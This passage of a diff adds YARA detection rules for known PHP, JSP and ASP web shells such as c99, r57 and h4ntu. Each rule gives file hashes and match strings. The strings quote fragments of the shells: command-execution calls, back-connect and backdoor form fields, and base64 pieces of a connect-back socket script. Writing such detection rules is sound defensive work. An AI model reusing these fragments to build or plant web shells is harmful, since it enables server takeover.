+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b815611cc39f17f05a73444d699341d4"
+	strings:
+		$s0 = "// note that linux = cmd and windows = \"cmd.exe /c + cmd\" " fullword
+		$s1 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
+		$s2 = "cmdjsp.jsp"
+		$s3 = "michaeldaw.org" fullword
+	condition:
+		2 of them
+}
+rule h4ntu_shell__powered_by_tsoi_ {
+	meta:
+		description = "Semi-Auto-generated  - file h4ntu shell [powered by tsoi].txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "06ed0b2398f8096f1bebf092d0526137"
+	strings:
+		$s0 = "h4ntu shell"
+		$s1 = "system(\"$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp\");"
+	condition:
+		1 of them
+}
+rule Ajan_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Ajan.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b6f468252407efc2318639da22b08af0"
+	strings:
+		$s1 = "c:\\downloaded.zip"
+		$s2 = "Set entrika = entrika.CreateTextFile(\"c:\\net.vbs\", True)" fullword
+		$s3 = "http://www35.websamba.com/cybervurgun/"
+	condition:
+		1 of them
+}
+rule PHANTASMA_php {
+	meta:
+		description = "Semi-Auto-generated  - file PHANTASMA.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "52779a27fa377ae404761a7ce76a5da7"
+	strings:
+		$s0 = ">[*] Safemode Mode Run</DIV>"
+		$s1 = "$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>"
+		$s2 = "[*] Spawning Shell"
+		$s3 = "Cha0s"
+	condition:
+		2 of them
+}
+rule MySQL_Web_Interface_Version_0_8_php {
+	meta:
+		description = "Semi-Auto-generated  - file MySQL Web Interface Version 0.8.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "36d4f34d0a22080f47bb1cb94107c60f"
+	strings:
+		$s0 = "SooMin Kim"
+		$s1 = "http://popeye.snu.ac.kr/~smkim/mysql"
+		$s2 = "href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename"
+		$s3 = "<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofi"
+	condition:
+		2 of them
+}
+rule simple_cmd_html {
+	meta:
+		description = "Semi-Auto-generated  - file simple_cmd.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c6381412df74dbf3bcd5a2b31522b544"
+	strings:
+		$s1 = "<title>G-Security Webshell</title>" fullword
+		$s2 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
+		$s3 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
+		$s4 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword
+	condition:
+		all of them
+}
+rule _1_c2007_php_php_c100_php {
+	meta:
+		description = "Semi-Auto-generated  - from files 1.txt, c2007.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash1 = "d089e7168373a0634e1ac18c0ee00085"
+		hash2 = "38fd7e45f9c11a37463c3ded1c76af4c"
+	strings:
+		$s0 = "echo \"<b>Changing file-mode (\".$d.$f.\"), \".view_perms_color($d.$f).\" (\""
+		$s3 = "echo \"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"
+	condition:
+		1 of them
+}
+rule _nst_php_php_img_php_php_nstview_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files nst.php.php.txt, img.php.php.txt, nstview.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
+		hash1 = "17a07bb84e137b8aa60f87cd6bfab748"
+		hash2 = "4745d510fed4378e4b1730f56f25e569"
+	strings:
+		$s0 = "<tr><form method=post><td><font color=red><b>Back connect:</b></font></td><td><i"
+		$s1 = "$perl_proxy_scp = \"IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4v"
+		$s2 = "<tr><form method=post><td><font color=red><b>Backdoor:</b></font></td><td><input"
+	condition:
+		1 of them
+}
+rule _network_php_php_xinfo_php_php_nfm_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files network.php.php.txt, xinfo.php.php.txt, nfm.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "acdbba993a5a4186fd864c5e4ea0ba4f"
+		hash1 = "2601b6fc1579f263d2f3960ce775df70"
+		hash2 = "401fbae5f10283051c39e640b77e4c26"
+	strings:
+		$s0 = ".textbox { background: White; border: 1px #000000 solid; color: #000099; font-fa"
+		$s2 = "<input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''"
+	condition:
+		all of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s2 = "echo \"<hr size=\\\"1\\\" noshade><b>Done!</b><br>Total time (secs.): \".$ft"
+		$s3 = "$fqb_log .= \"\\r\\n------------------------------------------\\r\\nDone!\\r"
+	condition:
+		1 of them
+}
+rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php_r57_Shell_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, SnIpEr_SA Shell.php.txt, r57.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash3 = "8023394542cddf8aee5dec6072ed02b5"
+		hash4 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash5 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s2 = "'eng_text71'=>\"Second commands param is:\\r\\n- for CHOWN - name of new owner o"
+		$s4 = "if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult"
+	condition:
+		1 of them
+}
+rule _c99shell_v1_0_php_php_c99php_SsEs_php_php_ctt_sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt, ctt_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash3 = "671cad517edd254352fe7e0c7c981c39"
+	strings:
+		$s0 = "\"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze\""
+		$s2 = "\"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\""
+		$s4 = "\"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo\""
+	condition:
+		2 of them
+}
+rule _r577_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash2 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s2 = "echo $te.\"<div align=center><textarea cols=35 name=db_query>\".(!empty($_POST['"
+		$s3 = "echo sr(45,\"<b>\".$lang[$language.'_text80'].$arrow.\"</b>\",\"<select name=db>"
+	condition:
+		1 of them
+}
+rule webshell_c99_generic {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt, SpecialShell_99.php.php.txt, ctt_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "09609851caa129e40b0d56e90dfc476c"
+		hash6 = "671cad517edd254352fe7e0c7c981c39"
+	strings:
+		$s0 = "  if ($copy_unset) {foreach($sess_data[\"copy\"] as $k=>$v) {unset($sess_data[\""
+		$s1 = "  if (file_exists($mkfile)) {echo \"<b>Make File \\\"\".htmlspecialchars($mkfile"
+		$s2 = "  echo \"<center><b>MySQL \".mysql_get_server_info().\" (proto v.\".mysql_get_pr"
+		$s3 = "  elseif (!fopen($mkfile,\"w\")) {echo \"<b>Make File \\\"\".htmlspecialchars($m"
+	condition:
+		all of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "$sess_data[\"cut\"] = array(); c99_s"
+		$s3 = "if ((!eregi(\"http://\",$uploadurl)) and (!eregi(\"https://\",$uploadurl))"
+	condition:
+		1 of them
+}
+rule _w_php_php_wacking_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "\"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"
+		$s2 = "c99sh_sqlquery"
+	condition:
+		1 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_SsEs_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, SsEs.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "else {$act = \"f\"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPA"
+		$s3 = "else {echo \"<b>File \\\"\".$sql_getfile.\"\\\":</b><br>\".nl2br(htmlspec"
+	condition:
+		1 of them
+}
+rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, SnIpEr_SA Shell.php.txt, r57.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash4 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s0 = "echo sr(15,\"<b>\".$lang[$language.'_text"
+		$s1 = ".$arrow.\"</b>\",in('text','"
+	condition:
+		2 of them
+}
+rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, SnIpEr_SA Shell.php.txt, r57.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+	strings:
+		$s0 = "'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash'," fullword
+		$s1 = "$name='ec371748dc2da624b35a4f8f685dd122'"
+		$s2 = "rst.void.ru"
+	condition:
+		3 of them
+}
+rule _r577_php_php_r57_Shell_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "8023394542cddf8aee5dec6072ed02b5"
+		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash3 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s0 = "echo ws(2).$lb.\" <a"
+		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']"
+		$s3 = "if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?(\"dir\"):(\"l"
+	condition:
+		2 of them
+}
+rule _wacking_php_php_1_SpecialShell_99_php_php_c100_php {
+	meta:
+		description = "Semi-Auto-generated  - from files wacking.php.php.txt, 1.txt, SpecialShell_99.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash1 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash2 = "09609851caa129e40b0d56e90dfc476c"
+		hash3 = "38fd7e45f9c11a37463c3ded1c76af4c"
+	strings:
+		$s0 = "if(eregi(\"./shbd $por\",$scan))"
+		$s1 = "$_POST['backconnectip']"
+		$s2 = "$_POST['backcconnmsg']"
+	condition:
+		1 of them
+}
+rule _r577_php_php_r57_php_php_r57_Shell_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash2 = "8023394542cddf8aee5dec6072ed02b5"
+		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash4 = "817671e1bdc85e04cc3440bbd9288800"
+	strings:
+		$s1 = "if(rmdir($_POST['mk_name']))"
+		$s2 = "$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td>"
+		$s3 = "if(unlink($_POST['mk_name'])) echo \"<table width=100% cellpadding=0 cell"
+	condition:
+		2 of them
+}
+rule _w_php_php_wacking_php_php_SsEs_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SsEs.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash3 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "\"ext_avi\"=>array(\"ext_avi\",\"ext_mov\",\"ext_mvi"
+		$s1 = "echo \"<b>Execute file:</b><form action=\\\"\".$surl.\"\\\" method=POST><inpu"
+		$s2 = "\"ext_htaccess\"=>array(\"ext_htaccess\",\"ext_htpasswd"
+	condition:
+		1 of them
+}
+rule _webadmin_php_php_iMHaPFtp_php_php_Private_i3lue_php {
+	meta:
+		description = "Semi-Auto-generated  - from files webadmin.php.php.txt, iMHaPFtp.php.php.txt, Private-i3lue.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "b268e6fa3bf3fe496cffb4ea574ec4c7"
+		hash1 = "12911b73bc6a5d313b494102abcf5c57"
+		hash2 = "13f5c7a035ecce5f9f380967cf9d4e92"
+	strings:
+		$s0 = "return $type . $owner . $group . $other;" fullword
+		$s1 = "$owner  = ($mode & 00400) ? 'r' : '-';" fullword
+	condition:
+		all of them
+}
+rule multiple_php_webshells {
+	meta:
+		description = "Semi-Auto-generated  - from files multiple_php_webshells"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "be0f67f3e995517d18859ed57b4b4389"
+		hash3 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash4 = "8023394542cddf8aee5dec6072ed02b5"
+		hash5 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash6 = "817671e1bdc85e04cc3440bbd9288800"
+		hash7 = "7101fe72421402029e2629f3aaed6de7"
+		hash8 = "f618f41f7ebeb5e5076986a66593afd1"
+	strings:
+		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
+		$s2 = "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0"
+		$s4 = "A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg"
+	condition:
+		2 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+	strings:
+		$s0 = "<b>Dumped! Dump has been writed to "
+		$s1 = "if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo \"<TABLE st"
+		$s2 = "<input type=submit name=actarcbuff value=\\\"Pack buffer to archive"
+	condition:
+		1 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+	strings:
+		$s0 = "@ini_set(\"highlight" fullword
+		$s1 = "echo \"<b>Result of execution this PHP-code</b>:<br>\";" fullword
+		$s2 = "{$row[] = \"<b>Owner/Group</b>\";}" fullword
+	condition:
+		2 of them
+}
+rule _GFS_web_shell_ver_3_1_7___PRiV8_php_nshell_php_php_gfs_sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files GFS web-shell ver 3.1.7 - PRiV8.php.txt, nshell.php.php.txt, gfs_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "be0f67f3e995517d18859ed57b4b4389"
+		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
+		hash2 = "f618f41f7ebeb5e5076986a66593afd1"
+	strings:
+		$s2 = "echo $uname.\"</font><br><b>\";" fullword
+		$s3 = "while(!feof($f)) { $res.=fread($f,1024); }" fullword
+		$s4 = "echo \"user=\".@get_current_user().\" uid=\".@getmyuid().\" gid=\".@getmygid()"
+	condition:
+		2 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "c99ftpbrutecheck"
+		$s1 = "$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);" fullword
+		$s2 = "$fqb_lenght = $nixpwdperpage;" fullword
+		$s3 = "$sock = @ftp_connect($host,$port,$timeout);" fullword
+	condition:
+		2 of them
+}
+rule _w_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash3 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = "$sqlquicklaunch[] = array(\""
+		$s1 = "else {echo \"<center><b>File does not exists (\".htmlspecialchars($d.$f).\")!<"
+	condition:
+		all of them
+}
+rule _antichat_php_php_Fatalshell_php_php_a_gedit_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files antichat.php.php.txt, Fatalshell.php.php.txt, a_gedit.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "128e90b5e2df97e21e96d8e268cde7e3"
+		hash1 = "b15583f4eaad10a25ef53ab451a4a26d"
+		hash2 = "ab9c6b24ca15f4a1b7086cad78ff0f78"
+	strings:
+		$s0 = "if(@$_POST['save'])writef($file,$_POST['data']);" fullword
+		$s1 = "if($action==\"phpeval\"){" fullword
+		$s2 = "$uploadfile = $dirupload.\"/\".$_POST['filename'];" fullword
+		$s3 = "$dir=getcwd().\"/\";" fullword
+	condition:
+		2 of them
+}
+rule _c99shell_v1_0_php_php_c99php_SsEs_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+	strings:
+		$s3 = "if (!empty($delerr)) {echo \"<b>Deleting with errors:</b><br>\".$delerr;}" fullword
+	condition:
+		1 of them
+}
+rule _Crystal_php_nshell_php_php_load_shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files Crystal.php.txt, nshell.php.php.txt, load_shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "fdbf54d5bf3264eb1c4bff1fac548879"
+		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
+		hash2 = "0c5d227f4aa76785e4760cdcff78a661"
+	strings:
+		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
+		$s1 = "$dires = $dires . $directory;" fullword
+		$s4 = "$arr = array_merge($arr, glob(\"*\"));" fullword
+	condition:
+		2 of them
+}
+rule _nst_php_php_cybershell_php_php_img_php_php_nstview_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files nst.php.php.txt, cybershell.php.php.txt, img.php.php.txt, nstview.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
+		hash1 = "ef8828e0bc0641a655de3932199c0527"
+		hash2 = "17a07bb84e137b8aa60f87cd6bfab748"
+		hash3 = "4745d510fed4378e4b1730f56f25e569"
+	strings:
+		$s0 = "@$rto=$_POST['rto'];" fullword
+		$s2 = "SCROLLBAR-TRACK-COLOR: #91AAFF" fullword
+		$s3 = "$to1=str_replace(\"//\",\"/\",$to1);" fullword
+	condition:
+		2 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_dC3_Security_Crew_Shell_PRiV_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, dC3 Security Crew Shell PRiV.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "433706fdc539238803fd47c4394b5109"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+	strings:
+		$s0 = " if ($mode & 0x200) {$world[\"execute\"] = ($world[\"execute\"] == \"x\")?\"t\":"
+		$s1 = " $group[\"execute\"] = ($mode & 00010)?\"x\":\"-\";" fullword
+	condition:
+		all of them
+}
+rule _c99shell_v1_0_php_php_c99php_1_c2007_php_php_c100_php {
+	meta:
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, 1.txt, c2007.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash3 = "d089e7168373a0634e1ac18c0ee00085"
+		hash4 = "38fd7e45f9c11a37463c3ded1c76af4c"
+	strings:
+		$s0 = "$result = mysql_query(\"SHOW PROCESSLIST\", $sql_sock); " fullword
+	condition:
+		all of them
+}
+rule multiple_php_webshells_2 {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt, c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt, SpecialShell_99.php.php.txt, ctt_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash6 = "09609851caa129e40b0d56e90dfc476c"
+		hash7 = "671cad517edd254352fe7e0c7c981c39"
+	strings:
+		$s0 = "elseif (!empty($ft)) {echo \"<center><b>Manually selected type is incorrect. I"
